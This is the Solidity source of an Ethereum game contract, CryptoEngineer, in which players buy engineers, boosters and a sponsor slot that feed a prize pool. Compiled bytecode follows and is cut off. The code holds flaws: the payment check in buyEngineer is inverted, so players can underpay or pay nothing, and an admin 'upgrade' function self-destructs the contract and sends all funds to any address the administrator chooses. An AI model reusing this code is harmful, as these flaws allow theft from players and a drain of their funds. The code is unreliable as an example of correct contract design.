payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface CryptoMiningWarInterface {
function calCurrentCrystals(address /*_addr*/) external view returns(uint256 /*_currentCrystals*/);
function subCrystal( address /*_addr*/, uint256 /*_value*/ ) external pure;
function fallback() external payable;
function isMiningWarContract() external pure returns(bool);
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
function fallback() external payable;
}
contract CryptoEngineer is PullPayment{
// engineer info
address public administrator;
uint256 public prizePool = 0;
uint256 public numberOfEngineer = 8;
uint256 public numberOfBoosts = 5;
address public gameSponsor;
uint256 public gameSponsorPrice = 0.32 ether;
uint256 public VIRUS_MINING_PERIOD = 86400;
// mining war game infomation
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public BASE_PRICE = 0.01 ether;
address public miningWarAddress;
CryptoMiningWarInterface public MiningWar;
// engineer player information
mapping(address => Player) public players;
// engineer boost information
mapping(uint256 => BoostData) public boostData;
// engineer information
mapping(uint256 => EngineerData) public engineers;
// minigame info
mapping(address => bool) public miniGames;
struct Player {
mapping(uint256 => uint256) engineersCount;
uint256 virusNumber;
uint256 research;
uint256 lastUpdateTime;
bool endLoadOldData;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 basePrice;
}
struct EngineerData {
uint256 basePrice;
uint256 baseETH;
uint256 baseResearch;
uint256 limit;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event BuyEngineer(address _addr, uint256[8] engineerNumbers, uint256 _crytalsPrice, uint256 _ethPrice, uint256 _researchBuy);
event BuyBooster(address _addr, uint256 _boostIdx, address beneficiary);
event ChangeVirus(address _addr, uint256 _virus, uint256 _type); // 1: add, 2: sub
event BecomeGameSponsor(address _addr, uint256 _price);
event UpdateResearch(address _addr, uint256 _currentResearch);
//--------------------------------------------------------------------------
// INIT CONTRACT
//--------------------------------------------------------------------------
constructor() public {
administrator = msg.sender;
initBoostData();
initEngineer();
// set interface main contract
setMiningWarInterface(0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5);
}
function initEngineer() private
{
// price crystals price ETH research limit
engineers[0] = EngineerData(10, BASE_PRICE * 0, 10, 10 ); //lv1
engineers[1] = EngineerData(50, BASE_PRICE * 1, 3356, 2 ); //lv2
engineers[2] = EngineerData(200, BASE_PRICE * 2, 8390, 4 ); //lv3
engineers[3] = EngineerData(800, BASE_PRICE * 4, 20972, 8 ); //lv4
engineers[4] = EngineerData(3200, BASE_PRICE * 8, 52430, 16 ); //lv5
engineers[5] = EngineerData(12800, BASE_PRICE * 16, 131072, 32 ); //lv6
engineers[6] = EngineerData(102400, BASE_PRICE * 32, 327680, 64 ); //lv7
engineers[7] = EngineerData(819200, BASE_PRICE * 64, 819200, 65536); //lv8
}
function initBoostData() private
{
boostData[0] = BoostData(0x0, 150, BASE_PRICE * 1);
boostData[1] = BoostData(0x0, 175, BASE_PRICE * 2);
boostData[2] = BoostData(0x0, 200, BASE_PRICE * 4);
boostData[3] = BoostData(0x0, 225, BASE_PRICE * 8);
boostData[4] = BoostData(0x0, 250, BASE_PRICE * 16);
}
/**
* @dev MainContract used this function to verify game's contract
*/
function isContractMiniGame() public pure returns(bool _isContractMiniGame)
{
_isContractMiniGame = true;
}
function isEngineerContract() public pure returns(bool)
{
return true;
}
function () public payable
{
addPrizePool(msg.value);
}
/**
* @dev Main Contract call this function to setup mini game.
*/
function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 /*_miningWarDeadline*/ ) public
{
require(msg.sender == miningWarAddress);
MiningWar.fallback.value(SafeMath.div(SafeMath.mul(prizePool, 5), 100))();
prizePool = SafeMath.sub(prizePool, SafeMath.div(SafeMath.mul(prizePool, 5), 100));
}
//--------------------------------------------------------------------------
// SETTING CONTRACT MINI GAME
//--------------------------------------------------------------------------
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
miningWarAddress = _addr;
MiningWar = miningWarInterface;
}
function setContractsMiniGame( address _addr ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _addr );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_addr] = true;
}
/**
* @dev remove mini game contract from main contract
* @param _addr mini game contract address
*/
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
//@dev use this function in case of bug
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
//--------------------------------------------------------------------------
// BOOSTER
//--------------------------------------------------------------------------
function buyBooster(uint256 idx) public payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if (msg.value < b.basePrice || msg.sender == b.owner) revert();
address beneficiary = b.owner;
uint256 devFeePrize = devFee(b.basePrice);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
updateVirus(msg.sender);
if ( beneficiary != 0x0 ) updateVirus(beneficiary);
// transfer ownership
b.owner = msg.sender;
emit BuyBooster(msg.sender, idx, beneficiary );
}
function getBoosterData(uint256 idx) public view returns (address _owner,uint256 _boostRate, uint256 _basePrice)
{
require(idx < numberOfBoosts);
BoostData memory b = boostData[idx];
_owner = b.owner;
_boostRate = b.boostRate;
_basePrice = b.basePrice;
}
function hasBooster(address addr) public view returns (uint256 _boostIdx)
{
_boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
_boostIdx = revert_i;
break;
}
}
}
//--------------------------------------------------------------------------
// GAME SPONSOR
//--------------------------------------------------------------------------
/**
*/
function becomeGameSponsor() public payable disableContract
{
uint256 gameSponsorPriceFee = SafeMath.div(SafeMath.mul(gameSponsorPrice, 150), 100);
require(msg.value >= gameSponsorPriceFee);
require(msg.sender != gameSponsor);
//
uint256 repayPrice = SafeMath.div(SafeMath.mul(gameSponsorPrice, 110), 100);
gameSponsor.transfer(repayPrice);
// add to prize pool
addPrizePool(SafeMath.sub(msg.value, repayPrice));
// update game sponsor info
gameSponsor = msg.sender;
gameSponsorPrice = gameSponsorPriceFee;
emit BecomeGameSponsor(msg.sender, msg.value);
}
function addEngineer(address _addr, uint256 idx, uint256 _value) public isAdministrator
{
require(idx < numberOfEngineer);
require(_value != 0);
Player storage p = players[_addr];
EngineerData memory e = engineers[idx];
if (SafeMath.add(p.engineersCount[idx], _value) > e.limit) revert();
updateVirus(_addr);
p.engineersCount[idx] = SafeMath.add(p.engineersCount[idx], _value);
updateResearch(_addr, SafeMath.mul(_value, e.baseResearch));
}
// ----------------------------------------------------------------------------------------
// USING FOR MINI GAME CONTRACT
// ---------------------------------------------------------------------------------------
function setBoostData(uint256 idx, address owner, uint256 boostRate, uint256 basePrice) public onlyContractsMiniGame
{
require(owner != 0x0);
BoostData storage b = boostData[idx];
b.owner = owner;
b.boostRate = boostRate;
b.basePrice = basePrice;
}
function setGameSponsorInfo(address _addr, uint256 _value) public onlyContractsMiniGame
{
gameSponsor = _addr;
gameSponsorPrice = _value;
}
function setPlayerLastUpdateTime(address _addr) public onlyContractsMiniGame
{
require(players[_addr].endLoadOldData == false);
players[_addr].lastUpdateTime = now;
players[_addr].endLoadOldData = true;
}
function setPlayerEngineersCount( address _addr, uint256 idx, uint256 _value) public onlyContractsMiniGame
{
players[_addr].engineersCount[idx] = _value;
}
function setPlayerResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
players[_addr].research = _value;
}
function setPlayerVirusNumber(address _addr, uint256 _value) public onlyContractsMiniGame
{
players[_addr].virusNumber = _value;
}
function addResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
p.research = SafeMath.add(p.research, _value);
emit UpdateResearch(_addr, p.research);
}
function subResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
if (p.research < _value) revert();
p.research = SafeMath.sub(p.research, _value);
emit UpdateResearch(_addr, p.research);
}
/**
* @dev add virus for player
* @param _addr player address
* @param _value number of virus
*/
function addVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
Player storage p = players[_addr];
uint256 additionalVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
p.virusNumber = SafeMath.add(p.virusNumber, additionalVirus);
emit ChangeVirus(_addr, _value, 1);
}
/**
* @dev subtract virus of player
* @param _addr player address
* @param _value number virus subtract
*/
function subVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
uint256 subtractVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
if ( p.virusNumber < subtractVirus ) { revert(); }
p.virusNumber = SafeMath.sub(p.virusNumber, subtractVirus);
emit ChangeVirus(_addr, _value, 2);
}
/**
* @dev claim price pool to next new game
* @param _addr mini game contract address
* @param _value eth claim;
*/
function claimPrizePool(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(prizePool > _value);
prizePool = SafeMath.sub(prizePool, _value);
MiniGameInterface MiniGame = MiniGameInterface( _addr );
MiniGame.fallback.value(_value)();
}
//--------------------------------------------------------------------------
// PLAYERS
//--------------------------------------------------------------------------
/**
*/
function buyEngineer(uint256[8] engineerNumbers) public payable disableContract
{
updateVirus(msg.sender);
Player storage p = players[msg.sender];
uint256 priceCrystals = 0;
uint256 priceEth = 0;
uint256 research = 0;
for (uint256 engineerIdx = 0; engineerIdx < numberOfEngineer; engineerIdx++) {
uint256 engineerNumber = engineerNumbers[engineerIdx];
EngineerData memory e = engineers[engineerIdx];
// require for engineerNumber
if(engineerNumber > e.limit || engineerNumber < 0) revert();
// engineer you want buy
if (engineerNumber > 0) {
uint256 currentEngineerCount = p.engineersCount[engineerIdx];
// update player data
p.engineersCount[engineerIdx] = SafeMath.min(e.limit, SafeMath.add(p.engineersCount[engineerIdx], engineerNumber));
// calculate no research you want buy
research = SafeMath.add(research, SafeMath.mul(SafeMath.sub(p.engineersCount[engineerIdx],currentEngineerCount), e.baseResearch));
// calculate price crystals and eth you will pay
priceCrystals = SafeMath.add(priceCrystals, SafeMath.mul(e.basePrice, engineerNumber));
priceEth = SafeMath.add(priceEth, SafeMath.mul(e.baseETH, engineerNumber));
}
}
// check price eth
if (priceEth < msg.value) revert();
uint256 devFeePrize = devFee(priceEth);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
// pay and update
MiningWar.subCrystal(msg.sender, priceCrystals);
updateResearch(msg.sender, research);
emit BuyEngineer(msg.sender, engineerNumbers, priceCrystals, priceEth, research);
}
/**
* @dev update virus for player
* @param _addr player address
*/
function updateVirus(address _addr) private
{
Player storage p = players[_addr];
p.virusNumber = calCurrentVirus(_addr);
p.lastUpdateTime = now;
}
function calCurrentVirus(address _addr) public view returns(uint256 _currentVirus)
{
Player memory p = players[_addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 researchPerDay = getResearchPerDay(_addr);
_currentVirus = p.virusNumber;
if (researchPerDay > 0) {
_currentVirus = SafeMath.add(_currentVirus, SafeMath.mul(researchPerDay, secondsPassed));
}
}
/**
* @dev update research for player
* @param _addr player address
* @param _research number research want to add
*/
function updateResearch(address _addr, uint256 _research) private
{
Player storage p = players[_addr];
p.research = SafeMath.add(p.research, _research);
emit UpdateResearch(_addr, p.research);
}
function getResearchPerDay(address _addr) public view returns( uint256 _researchPerDay)
{
Player memory p = players[_addr];
_researchPerDay = p.research;
uint256 boosterIdx = hasBooster(_addr);
if (boosterIdx != 999) {
BoostData memory b = boostData[boosterIdx];
_researchPerDay = SafeMath.div(SafeMath.mul(_researchPerDay, b.boostRate), 100);
}
}
/**
* @dev get player data
* @param _addr player address
*/
function getPlayerData(address _addr)
public
view
returns(
uint256 _virusNumber,
uint256 _currentVirus,
uint256 _research,
uint256 _researchPerDay,
uint256 _lastUpdateTime,
uint256[8] _engineersCount
)
{
Player storage p = players[_addr];
for ( uint256 idx = 0; idx < numberOfEngineer; idx++ ) {
_engineersCount[idx] = p.engineersCount[idx];
}
_currentVirus= SafeMath.div(calCurrentVirus(_addr), VIRUS_MINING_PERIOD);
_virusNumber = SafeMath.div(p.virusNumber, VIRUS_MINING_PERIOD);
_lastUpdateTime = p.lastUpdateTime;
_research = p.research;
_researchPerDay = getResearchPerDay(_addr);
}
//--------------------------------------------------------------------------
// INTERNAL
//--------------------------------------------------------------------------
function addPrizePool(uint256 _value) private
{
prizePool = SafeMath.add(prizePool, _value);
}
/**
* @dev add 5% value of transaction payable
*/
function addMiningWarPrizePool(uint256 _value) private
{
MiningWar.fallback.value(_value)();
}
/**
* @dev calculate current crystals of player
* @param _addr player address
*/
function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals)
{
_currentCrystals = SafeMath.div(MiningWar.calCurrentCrystals(_addr), CRTSTAL_MINING_PERIOD);
}
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
/**
* @dev with transaction payable send 5% value for admin and sponsor
* @param _value fee
*/
function distributedToOwner(uint256 _value) private
{
gameSponsor.transfer(_value);
administrator.transfer(_value);
}
}
|
0x60806040526004361061022f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680625b44871461023a5780630900f0101461026557806314017c3f146102a85780631e872f55146102ff5780632326faf9146103425780632aa531d9146103995780633281d5761461043b57806332e94e811461046a5780633928bc8b146104c157806339901be8146105225780633dc20fff1461059d57806346080a94146105f3578063571e4a6d146106405780636103d70b14610697578063691b6583146106ae578063719ce73e146106d9578063742609ce1461070457806378f556221461072f5780637baf71f91461078657806384ffcb5d146107d3578063859ccc72146108165780638a56b23014610863578063920775d4146108a657806395360a02146108f35780639ff12bba1461094a578063a71fa7961461098d578063ac5b876c146109da578063ad5b718914610a55578063b239dac614610aac578063b3140ac314610b07578063b9a59b8314610b5e578063bb005d4f14610b8d578063bcd3ff8914610bda578063be7ccd7e14610c27578063c3f656f114610c5e578063cc66d3c714610cb5578063cee0b4fe14610cfb578063d223926f14610d26578063da4a76c014610d46578063e12936d014610d50578063e2982c2114610d7b578063e2eb41ff14610dd2578063eafddc4114610e42578063ec6f772d14610e6d578063f53d0a8e14610eba578063f86325ed14610f11575b61023834610f3c565b005b34801561024657600080fd5b5061024f610f51565b6040518082815260200191505060405180910390f35b34801561027157600080fd5b506102a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f57565b005b3480156102b457600080fd5b506102bd610fcc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030b57600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff2565b005b34801561034e57600080fd5b50610383600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611158565b6040518082815260200191505060405180910390f35b3480156103a557600080fd5b506103da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bd565b6040518087815260200186815260200185815260200184815260200183815260200182600860200280838360005b83811015610423578082015181840152602081019050610408565b50505050905001965050505050505060405180910390f35b34801561044757600080fd5b506104506113a6565b604051808215151515815260200191505060405180910390f35b34801561047657600080fd5b506104bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506113af565b005b3480156104cd57600080fd5b5061052060048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061146b565b005b34801561052e57600080fd5b5061054d60048036038101908080359060200190929190505050611563565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156105a957600080fd5b506105c860048036038101908080359060200190929190505050611628565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b3480156105ff57600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611658565b005b34801561064c57600080fd5b50610695600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061179e565b005b3480156106a357600080fd5b506106ac61193c565b005b3480156106ba57600080fd5b506106c3611a63565b6040518082815260200191505060405180910390f35b3480156106e557600080fd5b506106ee611a69565b6040518082815260200191505060405180910390f35b34801561071057600080fd5b50610719611a6f565b6040518082815260200191505060405180910390f35b34801561073b57600080fd5b50610770600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a75565b6040518082815260200191505060405180910390f35b34801561079257600080fd5b506107d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b51565b005b3480156107df57600080fd5b50610814600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c59565b005b34801561082257600080fd5b50610861600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dc6565b005b34801561086f57600080fd5b506108a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e70565b005b3480156108b257600080fd5b506108f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612008565b005b3480156108ff57600080fd5b50610934600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612163565b6040518082815260200191505060405180910390f35b34801561095657600080fd5b5061098b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061226f565b005b34801561099957600080fd5b506109d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612326565b005b3480156109e657600080fd5b50610a056004803603810190808035906020019092919050505061245b565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b348015610a6157600080fd5b50610a96600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124a5565b6040518082815260200191505060405180910390f35b348015610ab857600080fd5b50610aed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061254e565b604051808215151515815260200191505060405180910390f35b348015610b1357600080fd5b50610b1c61256e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b6a57600080fd5b50610b73612594565b604051808215151515815260200191505060405180910390f35b348015610b9957600080fd5b50610bd8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061259d565b005b348015610be657600080fd5b50610c25600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612647565b005b348015610c3357600080fd5b50610c5c60048036038101908080359060200190929190803590602001909291905050506126f2565b005b348015610c6a57600080fd5b50610c7361282f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610cf9600480360381019080806101000190600880602002604051908101604052809291908260086020028082843782019150505050509192919290505050612855565b005b348015610d0757600080fd5b50610d10612c43565b6040518082815260200191505060405180910390f35b610d4460048036038101908080359060200190929190505050612c49565b005b610d4e612e5d565b005b348015610d5c57600080fd5b50610d6561306a565b6040518082815260200191505060405180910390f35b348015610d8757600080fd5b50610dbc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613070565b6040518082815260200191505060405180910390f35b348015610dde57600080fd5b50610e13600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613088565b604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390f35b348015610e4e57600080fd5b50610e576130c5565b6040518082815260200191505060405180910390f35b348015610e7957600080fd5b50610eb8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130cb565b005b348015610ec657600080fd5b50610ecf61320c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f1d57600080fd5b50610f26613232565b6040518082815260200191505060405180910390f35b610f4860035482613238565b60038190555050565b60015481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561105157600080fd5b60001515600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1615151415156110b357600080fd5b42600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff02191690831515021790555050565b60006111626135a1565b600061116c6135cc565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020608060405190810160405290816001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff161515151581525050925082602001519350611202856124a5565b91506103e7821415156112b557600e6000838152602001908152602001600020606060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090506112b26112ab858360200151613256565b6064613291565b93505b505050919050565b60008060008060006112cd613604565b600080600d60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600090505b60045481101561135a5781600001600082815260200190815260200160002054838260088110151561134457fe5b6020020181815250508080600101915050611316565b61136e6113668a611a75565b600854613291565b96506113808260010154600854613291565b9750816003015493508160020154955061139989611158565b9450505091939550919395565b60006001905090565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561140e57600080fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002081905550505050565b600060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156114cc57600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff16141515156114f257600080fd5b600e60008681526020019081526020016000209050838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508281600101819055508181600201819055505050505050565b60008060006115706135cc565b6005548510151561158057600080fd5b600e6000868152602001908152602001600020606060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815250509050806000015193508060200151925080604001519150509193909250565b600f6020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b600060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156116b957600080fd5b6116c2836132ac565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050818160020154101561171457600080fd5b61172281600201548361330d565b81600201819055507f49c6d128c3eabc38055132014e6d81cc9d16ea6e5264c025364a0364f6e0e0b5838260020154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60006117a8613628565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180457600080fd5b6004548410151561181457600080fd5b6000831415151561182457600080fd5b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600f600085815260200190815260200160002060806040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481525050905080606001516118d28360000160008781526020019081526020016000205485613238565b11156118dd57600080fd5b6118e6856132ac565b6119058260000160008681526020019081526020016000205484613238565b8260000160008681526020019081526020016000208190555061193585611930858460400151613256565b613326565b5050505050565b6000803391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415151561199357600080fd5b803073ffffffffffffffffffffffffffffffffffffffff1631101515156119b957600080fd5b6119ce8160015461330d90919063ffffffff16565b60018190555060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a5e573d6000803e3d6000fd5b505050565b60045481565b60035481565b60075481565b6000611a7f6135a1565b600080600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020608060405190810160405290816001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff1615151515815250509250611b1642846040015161330d565b9150611b2185611158565b9050826000015193506000811115611b4957611b4684611b418385613256565b613238565b93505b505050919050565b600060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611bb257600080fd5b81600354111515611bc257600080fd5b611bce6003548361330d565b6003819055508290508073ffffffffffffffffffffffffffffffffffffffff1663552079dc836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b158015611c3b57600080fd5b505af1158015611c4f573d6000803e3d6000fd5b5050505050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cb757600080fd5b819050600015158173ffffffffffffffffffffffffffffffffffffffff16633281d5766040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611d2257600080fd5b505af1158015611d36573d6000803e3d6000fd5b505050506040513d6020811015611d4c57600080fd5b810190808051906020019092919050505015151415611d6a57600080fd5b6001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611e2557600080fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ece57600080fd5b819050600115158173ffffffffffffffffffffffffffffffffffffffff1663688b5c2b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611f3957600080fd5b505af1158015611f4d573d6000803e3d6000fd5b505050506040513d6020811015611f6357600080fd5b81019080805190602001909291905050501515141515611f8257600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561206a57600080fd5b612073846132ac565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091506120c083600854613256565b905080826001015410156120d357600080fd5b6120e182600101548261330d565b82600101819055507fa5756f7c2358a76cfa31cb55434e0283e38422c566bb5c4c64e72b22e6c755b784846002604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b6000612268600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395360a02846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561222557600080fd5b505af1158015612239573d6000803e3d6000fd5b505050506040513d602081101561224f57600080fd5b8101908080519060200190929190505050600954613291565b9050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122cb57600080fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561238757600080fd5b612390836132ac565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506123df816002015483613238565b81600201819055507f49c6d128c3eabc38055132014e6d81cc9d16ea6e5264c025364a0364f6e0e0b5838260020154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff